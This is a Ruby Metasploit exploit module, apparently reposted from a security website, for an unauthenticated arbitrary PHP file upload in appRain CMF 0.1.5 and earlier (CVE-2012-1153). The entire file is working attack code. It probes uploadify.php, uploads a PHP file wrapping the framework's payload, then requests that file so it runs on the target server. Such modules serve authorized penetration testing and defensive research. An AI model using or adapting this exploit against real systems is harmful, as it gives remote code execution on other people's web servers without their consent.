require 'msf/core'
 
  
 
class Metasploit3 < Msf::Exploit::Remote 
 
    Rank = ExcellentRanking 
 
  
 
    include Msf::Exploit::Remote::HttpClient 
 
  
 
    def initialize(info={}) 
 
        super(update_info(info, 
 
            'Name'           => "appRain CMF Arbitrary PHP File Upload Vulnerability", 
 
            'Description'    => %q{ 
 
                    This module exploits a vulnerability found in appRain's Content Management 
 
                Framework (CMF), version 0.1.5 or less.  By abusing the uploadify.php file, a 
 
                malicious user can upload a file to the uploads/ directory without any 
 
                authentication, which results in arbitrary code execution. 
 
            }, 
 
            'License'        => MSF_LICENSE, 
 
            'Author'         => 
 
                [ 
 
                    'EgiX',   #Discovery, PoC 
 
                    'sinn3r'  #Metasploit 
 
                ], 
 
            'References'     => 
 
                [ 
 
                    ['CVE', '2012-1153'], 
 
                    ['OSVDB', '78473'], 
 
                    ['EDB', '18392'] 
 
                ], 
 
            'Payload'        => 
 
                { 
 
                    'BadChars' => "\x00"
 
                }, 
 
            'DefaultOptions'  => 
 
                { 
 
                    'ExitFunction' => "none"
 
                }, 
 
            'Platform'       => ['php'], 
 
            'Arch'           => ARCH_PHP, 
 
            'Targets'        => 
 
                [ 
 
                    ['appRain 0.1.5 or less', {}] 
 
                ], 
 
            'Privileged'     => false, 
 
            'DisclosureDate' => "Jan 19 2012", 
 
            'DefaultTarget'  => 0)) 
 
  www.2cto.com
 
            register_options( 
 
                [ 
 
                    OptString.new('TARGETURI', [true, 'The base path to appRain', '/appRain-q-0.1.5']) 
 
                ], self.class) 
 
    end
 
  
 
    def check 
 
        uri = target_uri.path 
 
        uri << '/' if uri[-1,1] != '/'
 
  
 
        res = send_request_cgi({ 
 
            'method' => 'GET', 
 
            'uri'    => "#{uri}addons/uploadify/uploadify.php"
 
        }) 
 
  
 
        if res and res.code == 200 and res.body.empty? 
 
            return Exploit::CheckCode::Detected 
 
        else
 
            return Exploit::CheckCode::Safe 
 
        end
 
    end
 
  
 
    def exploit 
 
        uri = target_uri.path 
 
        uri << '/' if uri[-1,1] != '/'
 
  
 
        peer = "#{rhost}:#{rport}"
 
        payload_name = Rex::Text.rand_text_alpha(rand(10) + 5) + '.php'
 
  
 
        post_data = "--o0oOo0o\r\n"
 
        post_data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"#{payload_name}\"\r\n\r\n"
 
        post_data << "<?php "
 
        post_data << payload.encoded 
 
        post_data << " ?>\r\n"
 
        post_data << "--o0oOo0o\r\n"
 
  
 
        print_status("#{peer} - Sending PHP payload (#{payload_name})") 
 
        res = send_request_cgi({ 
 
            'method' => 'POST', 
 
            'uri'    => "#{uri}addons/uploadify/uploadify.php", 
 
            'ctype'  => 'multipart/form-data; boundary=o0oOo0o', 
 
            'data'   => post_data 
 
        }) 
 
  
 
        # If the server returns 200 and the body contains our payload name, 
 
        # we assume we uploaded the malicious file successfully 
 
        if not res or res.code != 200 or res.body !~ /#{payload_name}/ 
 
            print_error("#{peer} - I don't think the file was uploaded. Abort!") 
 
            return
 
        end
 
  
 
        print_status("#{peer} - Executing PHP payload (#{payload_name})") 
 
        # Execute our payload 
 
        res = send_request_cgi({ 
 
            'method' => 'GET', 
 
            'uri'    => "#{uri}addons/uploadify/uploads/#{payload_name}"
 
        }) 
 
  
 
        # If we don't get a 200 when we request our malicious payload, we suspect 
 
        # we don't have a shell, either.  Print the status code for debugging purposes. 
 
        if res and res.code != 200
 
            print_status("#{peer} - Server returns #{res.code.to_s}") 
 
        end
 
    end
 
end